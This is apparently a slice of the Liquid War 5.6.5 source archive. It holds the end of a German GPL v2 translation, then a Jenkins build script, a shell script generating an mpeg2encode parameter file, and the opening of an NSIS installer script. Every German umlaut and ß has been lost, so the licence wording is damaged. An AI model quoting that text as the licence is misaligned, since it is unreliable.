2. Sie drfen Ihre Kopie(n) des Programms oder eines Teils davon verndern, wodurch ein auf dem Programm basierendes Datenwerk entsteht; Sie drfen derartige Bearbeitungen unter den Bestimmungen von Paragraph 1 vervielfltigen und verbreiten, vorausgesetzt, da zustzlich alle im folgenden genannten Bedingungen erfllt werden:

1.
Sie mssen die vernderten Dateien mit einem aufflligen Vermerk versehen, der auf die von Ihnen vorgenommene Modifizierung und das Datum jeder nderung hinweist.

2.
Sie mssen dafr sorgen, da jede von Ihnen verbreitete oder verffentlichte Arbeit, die ganz oder teilweise von dem Programm oder Teilen davon abgeleitet ist, Dritten gegenber als Ganzes unter den Bedingungen dieser Lizenz ohne Lizenzgebhren zur Verfgung gestellt wird.

3.
Wenn das vernderte Programm normalerweise bei der Ausfhrung interaktiv Kommandos einliest, mssen Sie dafr sorgen, da es, wenn es auf dem blichsten Wege fr solche interaktive Nutzung gestartet wird, eine Meldung ausgibt oder ausdruckt, die einen geeigneten Copyright-Vermerk enthlt sowie einen Hinweis, da es keine Gewhrleistung gibt (oder anderenfalls, da Sie Garantie leisten), und da die Benutzer das Programm unter diesen Bedingungen weiter verbreiten drfen. Auch mu der Benutzer darauf hingewiesen werden, wie er eine Kopie dieser Lizenz ansehen kann. (Ausnahme: Wenn das Programm selbst interaktiv arbeitet, aber normalerweise keine derartige Meldung ausgibt, mu Ihr auf dem Programm basierendes Datenwerk auch keine solche Meldung ausgeben).

Diese Anforderungen gelten fr das bearbeitete Datenwerk als Ganzes. Wenn identifizierbare Teile des Datenwerkes nicht von dem Programm abgeleitet sind und vernnftigerweise als unabhngige und eigenstndige Datenwerke fr sich selbst zu betrachten sind, dann gelten diese Lizenz und ihre Bedingungen nicht fr die betroffenen Teile, wenn Sie diese als eigenstndige Datenwerke weitergeben. Wenn Sie jedoch dieselben Abschnitte als Teil eines Ganzen weitergeben, das ein auf dem Programm basierendes Datenwerk darstellt, dann mu die Weitergabe des Ganzen nach den Bedingungen dieser Lizenz erfolgen, deren Bedingungen fr weitere Lizenznehmer somit auf das gesamte Ganze ausgedehnt werden - und somit auf jeden einzelnen Teil, unabhngig vom jeweiligen Autor.

Somit ist es nicht die Absicht dieses Abschnittes, Rechte fr Datenwerke in Anspruch zu nehmen oder Ihnen die Rechte fr Datenwerke streitig zu machen, die komplett von Ihnen geschrieben wurden; vielmehr ist es die Absicht, die Rechte zur Kontrolle der Verbreitung von Datenwerken, die auf dem Programm basieren oder unter seiner auszugsweisen Verwendung zusammengestellt worden sind, auszuben.

Ferner bringt auch das einfache Zusammenlegen eines anderen Datenwerkes, das nicht auf dem Programm basiert, mit dem Programm oder einem auf dem Programm basierenden Datenwerk auf ein- und demselben Speicher- oder Vertriebsmedium dieses andere Datenwerk nicht in den Anwendungsbereich dieser Lizenz.

3. Sie drfen das Programm (oder ein darauf basierendes Datenwerk gem Paragraph 2) als Objectcode oder in ausfhrbarer Form unter den Bedingungen der Paragraphen 1 und 2 kopieren und weitergeben - vorausgesetzt, da Sie auerdem eine der folgenden Leistungen erbringen:

1.
Liefern Sie das Programm zusammen mit dem vollstndigen zugehrigen maschinenlesbaren Quelltext auf einem fr den Datenaustausch blichen Medium aus, wobei die Verteilung unter den Bedingungen der Paragraphen 1 und 2 erfolgen mu. Oder:

2.
Liefern Sie das Programm zusammen mit einem mindestens drei Jahre lang gltigen schriftlichen Angebot aus, jedem Dritten eine vollstndige maschinenlesbare Kopie des Quelltextes zur Verfgung zu stellen - zu nicht hheren Kosten als denen, die durch den physikalischen Kopiervorgang anfallen -, wobei der Quelltext unter den Bedingungen der Paragraphen 1 und 2 auf einem fr den Datenaustausch blichen Medium weitergegeben wird. Oder:

3.
Liefern Sie das Programm zusammen mit dem schriftlichen Angebot der Zurverfgungstellung des Quelltextes aus, das Sie selbst erhalten haben. (Diese Alternative ist nur fr nicht-kommerzielle Verbreitung zulssig und nur, wenn Sie das Programm als Objectcode oder in ausfhrbarer Form mit einem entsprechenden Angebot gem Absatz b erhalten haben.)

Unter dem Quelltext eines Datenwerkes wird diejenige Form des Datenwerkes verstanden, die fr Bearbeitungen vorzugsweise verwendet wird. Fr ein ausfhrbares Programm bedeutet ,,der komplette Quelltext``: Der Quelltext aller im Programm enthaltenen Module einschlielich aller zugehrigen Modulschnittstellen-Definitionsdateien sowie der zur Compilation und Installation verwendeten Skripte. Als besondere Ausnahme jedoch braucht der verteilte Quelltext nichts von dem zu enthalten, was blicherweise (entweder als Quelltext oder in binrer Form) zusammen mit den Hauptkomponenten des Betriebssystems (Kernel, Compiler usw.) geliefert wird, unter dem das Programm luft - es sei denn, diese Komponente selbst gehrt zum ausfhrbaren Programm.

Wenn die Verbreitung eines ausfhrbaren Programms oder von Objectcode dadurch erfolgt, da der Kopierzugriff auf eine dafr vorgesehene Stelle gewhrt wird, so gilt die Gewhrung eines gleichwertigen Zugriffs auf den Quelltext als Verbreitung des Quelltextes, auch wenn Dritte nicht dazu gezwungen sind, den Quelltext zusammen mit dem Objectcode zu kopieren.

4. Sie drfen das Programm nicht vervielfltigen, verndern, weiter lizenzieren oder verbreiten, sofern es nicht durch diese Lizenz ausdrcklich gestattet ist. Jeder anderweitige Versuch der Vervielfltigung, Modifizierung, Weiterlizenzierung und Verbreitung ist nichtig und beendet automatisch Ihre Rechte unter dieser Lizenz. Jedoch werden die Lizenzen Dritter, die von Ihnen Kopien oder Rechte unter dieser Lizenz erhalten haben, nicht beendet, solange diese die Lizenz voll anerkennen und befolgen.

5. Sie sind nicht verpflichtet, diese Lizenz anzunehmen, da Sie sie nicht unterzeichnet haben. Jedoch gibt Ihnen nichts anderes die Erlaubnis, das Programm oder von ihm abgeleitete Datenwerke zu verndern oder zu verbreiten. Diese Handlungen sind gesetzlich verboten, wenn Sie diese Lizenz nicht anerkennen. Indem Sie das Programm (oder ein darauf basierendes Datenwerk) verndern oder verbreiten, erklren Sie Ihr Einverstndnis mit dieser Lizenz und mit allen ihren Bedingungen bezglich der Vervielfltigung, Verbreitung und Vernderung des Programms oder eines darauf basierenden Datenwerks.

6. Jedesmal, wenn Sie das Programm (oder ein auf dem Programm basierendes Datenwerk) weitergeben, erhlt der Empfnger automatisch vom ursprnglichen Lizenzgeber die Lizenz, das Programm entsprechend den hier festgelegten Bestimmungen zu vervielfltigen, zu verbreiten und zu verndern. Sie drfen keine weiteren Einschrnkungen der Durchsetzung der hierin zugestandenen Rechte des Empfngers vornehmen. Sie sind nicht dafr verantwortlich, die Einhaltung dieser Lizenz durch Dritte durchzusetzen.

7. Sollten Ihnen infolge eines Gerichtsurteils, des Vorwurfs einer Patentverletzung oder aus einem anderen Grunde (nicht auf Patentfragen begrenzt) Bedingungen (durch Gerichtsbeschlu, Vergleich oder anderweitig) auferlegt werden, die den Bedingungen dieser Lizenz widersprechen, so befreien Sie diese Umstnde nicht von den Bestimmungen dieser Lizenz. Wenn es Ihnen nicht mglich ist, das Programm unter gleichzeitiger Beachtung der Bedingungen in dieser Lizenz und Ihrer anderweitigen Verpflichtungen zu verbreiten, dann drfen Sie als Folge das Programm berhaupt nicht verbreiten. Wenn zum Beispiel ein Patent nicht die gebhrenfreie Weiterverbreitung des Programms durch diejenigen erlaubt, die das Programm direkt oder indirekt von Ihnen erhalten haben, dann besteht der einzige Weg, sowohl das Patentrecht als auch diese Lizenz zu befolgen, darin, ganz auf die Verbreitung des Programms zu verzichten.

Sollte sich ein Teil dieses Paragraphen als ungltig oder unter bestimmten Umstnden nicht durchsetzbar erweisen, so soll dieser Paragraph seinem Sinne nach angewandt werden; im brigen soll dieser Paragraph als Ganzes gelten.

Zweck dieses Paragraphen ist nicht, Sie dazu zu bringen, irgendwelche Patente oder andere Eigentumsansprche zu verletzen oder die Gltigkeit solcher Ansprche zu bestreiten; dieser Paragraph hat einzig den Zweck, die Integritt des Verbreitungssystems der freien Software zu schtzen, das durch die Praxis ffentlicher Lizenzen verwirklicht wird. Viele Leute haben grozgige Beitrge zu dem groen Angebot der mit diesem System verbreiteten Software im Vertrauen auf die konsistente Anwendung dieses Systems geleistet; es liegt am Autor/Geber, zu entscheiden, ob er die Software mittels irgendeines anderen Systems verbreiten will; ein Lizenznehmer hat auf diese Entscheidung keinen Einflu.

Dieser Paragraph ist dazu gedacht, deutlich klarzustellen, was als Konsequenz aus dem Rest dieser Lizenz betrachtet wird.

8. Wenn die Verbreitung und/oder die Benutzung des Programms in bestimmten Staaten entweder durch Patente oder durch urheberrechtlich geschtzte Schnittstellen eingeschrnkt ist, kann der Urheberrechtsinhaber, der das Programm unter diese Lizenz gestellt hat, eine explizite geographische Begrenzung der Verbreitung angeben, in der diese Staaten ausgeschlossen werden, so da die Verbreitung nur innerhalb und zwischen den Staaten erlaubt ist, die nicht ausgeschlossen sind. In einem solchen Fall beinhaltet diese Lizenz die Beschrnkung, als wre sie in diesem Text niedergeschrieben.

9. Die Free Software Foundation kann von Zeit zu Zeit berarbeitete und/oder neue Versionen der General Public License verffentlichen. Solche neuen Versionen werden vom Grundprinzip her der gegenwrtigen entsprechen, knnen aber im Detail abweichen, um neuen Problemen und Anforderungen gerecht zu werden.

Jede Version dieser Lizenz hat eine eindeutige Versionsnummer. Wenn in einem Programm angegeben wird, da es dieser Lizenz in einer bestimmten Versionsnummer oder ,,jeder spteren Version`` (``any later version'') unterliegt, so haben Sie die Wahl, entweder den Bestimmungen der genannten Version zu folgen oder denen jeder beliebigen spteren Version, die von der Free Software Foundation verffentlicht wurde. Wenn das Programm keine Versionsnummer angibt, knnen Sie eine beliebige Version whlen, die je von der Free Software Foundation verffentlicht wurde.

10. Wenn Sie den Wunsch haben, Teile des Programms in anderen freien Programmen zu verwenden, deren Bedingungen fr die Verbreitung anders sind, schreiben Sie an den Autor, um ihn um die Erlaubnis zu bitten. Fr Software, die unter dem Copyright der Free Software Foundation steht, schreiben Sie an die Free Software Foundation ; wir machen zu diesem Zweck gelegentlich Ausnahmen. Unsere Entscheidung wird von den beiden Zielen geleitet werden, zum einen den freien Status aller von unserer freien Software abgeleiteten Datenwerke zu erhalten und zum anderen das gemeinschaftliche Nutzen und Wiederverwenden von Software im allgemeinen zu frdern.

Keine Gewhrleistung

11. Da das Programm ohne jegliche Kosten lizenziert wird, besteht keinerlei Gewhrleistung fr das Programm, soweit dies gesetzlich zulssig ist. Sofern nicht anderweitig schriftlich besttigt, stellen die Copyright-Inhaber und/oder Dritte das Programm so zur Verfgung, ,,wie es ist``, ohne irgendeine Gewhrleistung, weder ausdrcklich noch implizit, einschlielich - aber nicht begrenzt auf - Marktreife oder Verwendbarkeit fr einen bestimmten Zweck. Das volle Risiko bezglich Qualitt und Leistungsfhigkeit des Programms liegt bei Ihnen. Sollte sich das Programm als fehlerhaft herausstellen, liegen die Kosten fr notwendigen Service, Reparatur oder Korrektur bei Ihnen.

12. In keinem Fall, auer wenn durch geltendes Recht gefordert oder schriftlich zugesichert, ist irgendein Copyright-Inhaber oder irgendein Dritter, der das Programm wie oben erlaubt modifiziert oder verbreitet hat, Ihnen gegenber fr irgendwelche Schden haftbar, einschlielich jeglicher allgemeiner oder spezieller Schden, Schden durch Seiteneffekte (Nebenwirkungen) oder Folgeschden, die aus der Benutzung des Programms oder der Unbenutzbarkeit des Programms folgen (einschlielich - aber nicht beschrnkt auf - Datenverluste, fehlerhafte Verarbeitung von Daten, Verluste, die von Ihnen oder anderen getragen werden mssen, oder dem Unvermgen des Programms, mit irgendeinem anderen Programm zusammenzuarbeiten), selbst wenn ein Copyright-Inhaber oder Dritter ber die Mglichkeit solcher Schden unterrichtet worden war.

Ende der Bedingungen

Anhang: Wie Sie diese Bedingungen auf Ihre eigenen,
neuen Programme anwenden knnen

Wenn Sie ein neues Programm entwickeln und wollen, da es vom grtmglichen Nutzen fr die Allgemeinheit ist, dann erreichen Sie das am besten, indem Sie es zu freier Software machen, die jeder unter diesen Bestimmungen weiterverbreiten und verndern kann.

Um dies zu erreichen, fgen Sie die folgenden Vermerke zu Ihrem Programm hinzu. Am sichersten ist es, sie an den Anfang einer jeden Quelldatei zu stellen, um den Gewhrleistungsausschlu mglichst deutlich darzustellen; zumindest aber sollte jede Datei eine Copyright-Zeile besitzen sowie einen kurzen Hinweis darauf, wo die vollstndigen Vermerke zu finden sind.

[eine Zeile mit dem Programmnamen und einer kurzen Beschreibung]
Copyright (C) [Jahr][Name des Autors]

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02111-1307, USA.

Auf Deutsch:
[eine Zeile mit dem Programmnamen und einer kurzen Beschreibung]
Copyright (C) [Jahr][Name des Autors]

Dieses Programm ist freie Software. Sie knnen es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation verffentlicht, weitergeben und/oder modifizieren, entweder gem Version 2 der Lizenz oder (nach Ihrer Option) jeder spteren Version.

Die Verffentlichung dieses Programms erfolgt in der Hoffnung, da es Ihnen von Nutzen sein wird, aber OHNE IRGENDEINE GARANTIE, sogar ohne die implizite Garantie der MARKTREIFE oder der VERWENDBARKEIT FR EINEN BESTIMMTEN ZWECK. Details finden Sie in der GNU General Public License.

Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, schreiben Sie an die Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02110-1301, USA.

Fgen Sie auch einen kurzen Hinweis hinzu, wie Sie elektronisch und per Brief erreichbar sind.

Wenn Ihr Programm interaktiv ist, sorgen Sie dafr, da es nach dem Start einen kurzen Vermerk ausgibt:

version 69, Copyright (C) [Jahr][Name des Autors]
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.

Auf Deutsch:
Version 69, Copyright (C) [Jahr][Name des Autors] Fr Gnomovision besteht KEINERLEI GARANTIE; geben Sie `show w' fr Details ein. Gnonovision ist freie Software, die Sie unter bestimmten Bedingungen weitergeben drfen; geben Sie `show c' fr Details ein.

Die hypothetischen Kommandos `show w' und `show c' sollten die entsprechenden Teile der GNU-GPL anzeigen. Natrlich knnen die von Ihnen verwendeten Kommandos anders heien als `show w' und `show c'; es knnten auch Mausklicks oder Menpunkte sein - was immer am besten in Ihr Programm pat.

Soweit vorhanden, sollten Sie auch Ihren Arbeitgeber (wenn Sie als Programmierer arbeiten) oder Ihre Schule einen Copyright-Verzicht fr das Programm unterschreiben lassen. Hier ein Beispiel. Die Namen mssen Sie natrlich ndern.

Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker.

[Unterschrift von Ty Coon], 1 April 1989
Ty Coon, President of Vice

Auf Deutsch:
Die Yoyodyne GmbH erhebt keinen urheberrechtlichen Anspruch auf das von James Hacker geschriebene Programm ,Gnomovision` (einem Schrittmacher fr Compiler).

[Unterschrift von Ty Coon], 1. April 1989
Ty Coon, Vizeprsident

Diese General Public License gestattet nicht die Einbindung des Programms in proprietre Programme. Ist Ihr Programm eine Funktionsbibliothek, so kann es sinnvoller sein, das Binden proprietrer Programme mit dieser Bibliothek zu gestatten. Wenn Sie dies tun wollen, sollten Sie die GNU Library General Public License anstelle dieser Lizenz verwenden.

liquidwar-5.6.5/misc/liquidwar-jenkins.sh0000775000372000037200000000477013407756104020103 0ustar travistravis#!/bin/sh ############################################################################# # Liquid War is a multiplayer wargame # # Copyright (C) 1998-2018 Christian Mauduit # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the Free Software # # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # # Contact author : ufoot@ufoot.org # ############################################################################# # Script used by Jenkins daemon to autobuild the program in # continuous integration mode. http://jenkins-ci.org/ echo "******** $0 $(date) ********" if cd liquidwar ; then echo "******** $0 $(date) ********" if ./bootstrap; then echo "******** $0 $(date) ********" if ./configure --prefix=$WORKSPACE/local ; then echo "******** $0 $(date) ********" if make ; then echo "******** $0 $(date) ********" if make install; then echo "******** $0 $(date) ********" if make dist; then echo "******** $0 $(date) ********" else echo "make dist failed" exit 6 fi else echo "make install failed" exit 5 fi else echo "make failed" exit 4 fi else echo "./configure failed" exit 3 fi else echo "./bootstrap failed" exit 2 fi else echo "cd failed" exit 1 fi echo "OK" exit 0 liquidwar-5.6.5/misc/mpeg_utils_make_mpeg2encode_parfile.sh0000775000372000037200000003323013407756104023553 0ustar travistravis#!/bin/sh # # This shell script generates a parameter file suitable for use # with mpeg2encode from http://www.mpeg.org/MSSG/. # # ./mpeg_utils_make_mpeg2encode_parfile.sh is part of a group of unix shell scripts to aid in converting a group # of still-frame images to an mpeg-1 animation. # More information can be found at http://marc.me.utexas.edu/mpeg_tools.html. # # There is no error checking. It is basic but functional. # It relies upon: # /bin/sh # awk # identify (from ImageMagick, http://www.imagemagick.org) # # Usage: # ./mpeg_utils_make_mpeg2encode_parfile.sh filelist # # where required arguemnts are: # # filelist - filenames, including directory, where the still frame images reside # # # Examples: # ./mpeg_utils_make_mpeg2encode_parfile.sh /tmp/images/* # ./mpeg_utils_make_mpeg2encode_parfile.sh /tmp/images/scenarioA*.tif # # where the /tmp/images directory contains files something like: # # frame.00001.tif # frame.00002.tif # frame.00003.tif # ... # frame.00486.tif # # The individual frames do not have to be tiff's; they can be any format 'convert' handles. # See notes within the './mpeg_utils_imagetoppm.sh' or './mpeg_utils_imagetoyuv.sh' scripts at # http://marc.me.utexas.edu/mpeg_tools.html. # # Result: mpeg2encode.par left in current working directory # # # Next possible steps to make a movie: # (1) ensure the images are converted from whatever format into either ppm or yuv with: # ./mpeg_utils_imagetoppm.sh ./images/*.tif # or # ./mpeg_utils_imagetoyuv.sh ./images/*.gif # # (2) run the encoder with: # mpeg2encode mpeg2encode.par movie.mpg # # For tips on how to combine 2 or more sequences of images into one mpeg, see the # 'renumber_sequence' script at http://marc.me.utexas.edu/mpeg_tools.html. # or use the 'rename' command and see http://www.tux.org/~mayer/linux/book.pdf. # # # Marc Compere # CompereM@asme.org # created : 18 September 2001 # modified: 20 January 2002 # development arg setup: # filelist=(`ls still_frames/test*ppm`) ; echo ${filelist[*]} parameter_set=2 # the PAL (-->2) parameter set is ImageMagick's default, but NTSC (-->1) seems to make # smaller mpeg's with similar playback quality if [ "$1" = "" ]; then echo " Usage:" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh filelist" echo echo " where the 'ppm' or 'yuv' string indicates which intermediate format to specify for mpeg2encode to use," echo " and where filelist is the list of filenames, including the directory, where the still frame images reside." echo echo " Examples:" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh /tmp/images/*" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh /tmp/images/scenarioA*.ppm" echo " or" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh yuv /tmp/images/*" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh ppm /tmp/images/scenarioA*.tif" echo echo echo "TYPICAL ANIMATION STEPS:" echo " (1) convert images from their native format to ppm or yuv with:" echo " ./mpeg_utils_imagetoppm.sh ./images/scenario1*.tif" echo " ./mpeg_utils_imagetoyuv.sh ./images/scenario1*.tif" echo " (2) make the encoder parameter file with:" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh ./images/scenario1*.ppm (use ppm images here to get image info properly in case padding was required)" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh ./images/scenario1*.tif (use tif images here if using yuv's to get image info properly)" echo " (3) run the encoder with:" echo " mpeg2encode mpeg2encode.par scenario1.mpg" $'\n\n' else filelist=(${*}) # assign input filename arglist if [ "$parameter_set" = "1" ]; then # set variables for NTSC fps=30 # specifying frames per second (this actually comes from frc spec and is only used in the comment string) Ngop=15 # 15 for NTSC frc=5 # 5 for NTSC vidfmt=2 # video format = 1->PAL, 2->NTSC Nmatcoef=4 # 5->PAL, 4->NTSC elif [ "$parameter_set" = "2" ]; then # set variables for PAL fps=25 # specifying frames per second (this actually comes from frc spec and is only used in the comment string) Ngop=12 # 12 for NTSC frc=3 # 3 for NTSC vidfmt=1 # video format = 1->PAL, 2->NTSC Nmatcoef=5 # 5->PAL, 4->NTSC else echo "mpeg2encode_preproc: invalid parameter_set number",$parameter_set echo "mpeg2encode_preproc: parameter_set should be 1 (for NTSC) or 2 (for PAL)" echo "mpeg2encode_preproc: exiting...." $'\n\n\n' fi # Set the rest of input parameters to write_parfile() parfile="mpeg2encode.par" # output parameter file statfile="/dev/null" # may be '-' for stdout or /dev/null (default) ipff=1 # input picture file format (only 1->yuv3 or 2->ppm used here) # note: using ipff=2 for ppm's seems to create skewed animations that appear to have the aspect # ratio way off, but changing the aspect ratio in the parameter file seems to do nothing... # --> use yuv's as the input file format to mpeg2encode (yuv is the 'convert' default) # note: ipff was set at 2 which means using the .ppm image format, but now that option # fails and causes mpeg2encode to crash. (?) Go figure. I'm now using the .yuv image format. # 10 January 2002 #bitrate=1152000.0 # default was 5000000.0 (bits/sec), but 1152000.0 is mo'bettah #bitrate=576000.0 # default was 5000000.0 (bits/sec), but 1152000.0 is mo'bettah bitrate=480000.0 # default was 5000000.0 (bits/sec), but 1152000.0 is mo'bettah # find Nframes Nframes=0 for i in ${filelist[*]} do let Nframes=Nframes+1 done #echo $Nframes # find the common file (and directory name) prefix string to all image files: filenamelength=`echo ${filelist[0]} | awk '{print length}'` all_match=1 char_cnt=0 str1=(${filelist[0]}) str2=(${filelist[${Nframes}-1]}) while [ "${all_match}" = "1" -a "${char_cnt}" -le "${filenamelength}" ] ; do if [ "${str1:$char_cnt:1}" = "${str2:$char_cnt:1}" ] ; # compare the characters in the first and last filenames then #echo "characters in element $char_cnt match" ; let char_cnt=char_cnt+1 else all_match=0 #echo "characters in element $char_cnt DO NOT match, exiting..." ; fi done basefilename=${str1:0:$char_cnt} restofthefilename=${str1:$char_cnt} first_num=`echo ${restofthefilename} | awk -F. '{print $1}'` # this assumes the filename has an extension, ".something" maxnumchars=`echo $first_num | awk '{print length()}'` # note: # awk's array indicies are 1-based # bash's array indicies are 0-based # place hsize and vsize in ${sizes[0]} and ${sizes[1]} info=(`identify -ping ${filelist[0]}`) # use ImageMagick's identify command sizes=(`echo ${info[2]} | awk -Fx '{print $1}{print $2}'`) hsize=${sizes[0]} vsize=${sizes[1]} # determine if hsize is an even number or not... hsize_odd=$(( $(( hsize % 2)) ? 1 : 0 )) vsize_odd=$(( $(( vsize % 2)) ? 1 : 0 )) # ... if so, correct it by adding one (mpeg2encode seems to complain otherwise) # note: this is *only* useful if you are trying to convert a seqence of odd horizonal- or # vertical-sized yuv images. A mismatch in specified yuv image sizes and the actual size # used to create the yuv (i.e. from the original tif or gif or whatever) will generate a reasonably # acceptable mpeg. However, if ppm images require size-adjustment in the mpeg2encode.par # file then you're in touble --> this means the ppm image has been 'identify'ed as an odd-sized image # in either it's horizonal or vertical dimension and specifying a different number in the parameter # file will generate a bad mpeg. Use ./mpeg_utils_imagetoppm.sh to convert the original file into a ppm and, in the # process, if hsize or vsize is not even-numbered, ./mpeg_utils_imagetoppm.sh will pad the image with 'pnmpad' such # that this script will not require adjustment to get even-numbered hzize and vsizes. if [ "$hsize_odd" = "1" ]; then let hsize=hsize+1 fi if [ "$vsize_odd" = "1" ]; then let vsize=vsize+1 fi # variable descriptions: # fps - frame rate code, specifying frames per second # parfile - output parameter file # basefilename - text-string common to each filename (not including and leading directory names) # maxnumchars - number of characters in the largest number in the sequence, e.g. 2 for 10-99 frames, 3 for 100-999 frames, etc. # statfile - may be '-' for stdout (default=/dev/null) # ipff - input picture file format (only 1->yuv3 or 2->ppm used here) # Nframes - total number of frames (image files) within the sequence # Ngop - 12 or 15, number of frames within a Group Of Frames (GOP) # hsize - horizonal images size, from ImageMagick's identify command # vsize - horizonal images size, from ImageMagick's identify command # frc - framerate code, 1,2,3,4, or 5, see mpeg2encode documentation # bitrate - bits/sec, see mpeg2encode documentation # vidfmt - video format = 1->PAL, 2->NTSC, see mpeg2encode documentation # Nmatcoef - 5->PAL, 4->NTSC, see mpeg2encode documentation echo $'\t' "./mpeg_utils_make_mpeg2encode_parfile.sh: writing $parfile." echo "MPEG-1, $fps frames/sec, `date`, parameter file generated by ./mpeg_utils_make_mpeg2encode_parfile.sh" > $parfile echo "$basefilename%0$maxnumchars""d /* name of source files */" >> $parfile echo "- /* name of reconstructed images (\"-\": dont store) */" >> $parfile echo "- /* name of intra quant matrix file (\"-\": default matrix) */" >> $parfile echo "- /* name of non intra quant matrix file (\"-\": default matrix) */" >> $parfile echo "$statfile /* name of statistics file (\"-\": stdout ) */" >> $parfile echo "$ipff /* input picture file format: 0=*.Y,*.U,*.V, 1=*.yuv, 2=*.ppm */" >> $parfile echo "$Nframes /* number of frames */" >> $parfile echo "0 /* number of first frame */" >> $parfile echo "00:00:00:00 /* timecode of first frame */" >> $parfile echo "$Ngop /* N (# of frames in GOP) */" >> $parfile echo "3 /* M (I/P frame distance) */" >> $parfile echo "1 /* ISO/IEC 11172-2 stream (0=MPEG-2, 1=MPEG-1)*/" >> $parfile echo "0 /* 0:frame pictures, 1:field pictures */" >> $parfile echo "${hsize} /* horizontal_size */" >> $parfile echo "${vsize} /* vertical_size */" >> $parfile echo "8 /* aspect_ratio_information 1=square pel, 2=4:3, 3=16:9, 4=2.11:1 */" >> $parfile echo "$frc /* frame_rate_code 1=23.976, 2=24, 3=25, 4=29.97, 5=30 frames/sec. */" >> $parfile echo "$bitrate /* bit_rate (bits/s) */" >> $parfile echo "20 /* vbv_buffer_size (in multiples of 16 kbit) */" >> $parfile echo "0 /* low_delay */" >> $parfile echo "1 /* constrained_parameters_flag */" >> $parfile echo "4 /* Profile ID: Simple = 5, Main = 4, SNR = 3, Spatial = 2, High = 1 */" >> $parfile echo "8 /* Level ID: Low = 10, Main = 8, High 1440 = 6, High = 4 */" >> $parfile echo "1 /* progressive_sequence */" >> $parfile echo "1 /* chroma_format: 1=4:2:0, 2=4:2:2, 3=4:4:4 */" >> $parfile echo "$vidfmt /* video_format: 0=comp., 1=PAL, 2=NTSC, 3=SECAM, 4=MAC, 5=unspec. */" >> $parfile echo "5 /* color_primaries */" >> $parfile echo "5 /* transfer_characteristics */" >> $parfile echo "$Nmatcoef /* matrix_coefficients */" >> $parfile echo "$hsize /* display_horizontal_size */" >> $parfile echo "$vsize /* display_vertical_size */" >> $parfile echo "0 /* intra_dc_precision (0: 8 bit, 1: 9 bit, 2: 10 bit, 3: 11 bit */" >> $parfile echo "0 /* top_field_first */" >> $parfile echo "1 1 1 /* frame_pred_frame_dct (I P B) */" >> $parfile echo "0 0 0 /* concealment_motion_vectors (I P B) */" >> $parfile echo "0 0 0 /* q_scale_type (I P B) */" >> $parfile echo "0 0 0 /* intra_vlc_format (I P B)*/" >> $parfile echo "0 0 0 /* alternate_scan (I P B) */" >> $parfile echo "0 /* repeat_first_field */" >> $parfile echo "1 /* progressive_frame */" >> $parfile echo "0 /* P distance between complete intra slice refresh */" >> $parfile echo "0 /* rate control: r (reaction parameter) */" >> $parfile echo "0 /* rate control: avg_act (initial average activity) */" >> $parfile echo "0 /* rate control: Xi (initial I frame global complexity measure) */" >> $parfile echo "0 /* rate control: Xp (initial P frame global complexity measure) */" >> $parfile echo "0 /* rate control: Xb (initial B frame global complexity measure) */" >> $parfile echo "0 /* rate control: d0i (initial I frame virtual buffer fullness) */" >> $parfile echo "0 /* rate control: d0p (initial P frame virtual buffer fullness) */" >> $parfile echo "0 /* rate control: d0b (initial B frame virtual buffer fullness) */" >> $parfile echo "2 2 11 11 /* P: forw_hor_f_code forw_vert_f_code search_width/height */" >> $parfile echo "1 1 3 3 /* B1: forw_hor_f_code forw_vert_f_code search_width/height */" >> $parfile echo "1 1 7 7 /* B1: back_hor_f_code back_vert_f_code search_width/height */" >> $parfile echo "1 1 7 7 /* B2: forw_hor_f_code forw_vert_f_code search_width/height */" >> $parfile echo "1 1 3 3 /* B2: back_hor_f_code back_vert_f_code search_width/height */" >> $parfile ; fi # end "if [ "$1" = "" ];" approximately on line 69 liquidwar-5.6.5/misc/liquidwar.nsi.in0000664000372000037200000000647413407756104017230 0ustar travistravis; liquidwar.nsi ; ; This script is based on example2.nsi ;-------------------------------- ; The name of the installer Name "Liquid War @VERSION@" ; The file to write OutFile "lw@VERSION_COMPACT@.exe" ; The default installation directory InstallDir "$PROGRAMFILES\Liquid War" ; Registry key to check for directory (so if you install again, it will ; overwrite the old one automatically) InstallDirRegKey HKLM "Software\Liquid_War_5" "Install_Dir" ;-------------------------------- ; Pages Page components Page directory Page instfiles UninstPage uninstConfirm UninstPage instfiles ;-------------------------------- ; The stuff to install Section "Liquid War (required)" SectionIn RO ; Set output path to the installation directory. SetOutPath $INSTDIR ; Put file there File "lwwin.exe" File "lwwinmap.exe" File "lwwinsrv.exe" File "alleg42.dll" File "changes.txt" File "license.txt" File "readme.txt" File "readmede.txt" File "readmedk.txt" File "readmefr.txt" File /r "custom" File /r "data" File /r "doc" File /r "misc" ; Write the installation path into the registry WriteRegStr HKLM "SOFTWARE\Liquid_War_5" "Install_Dir" "$INSTDIR" ; Write the uninstall keys for Windows 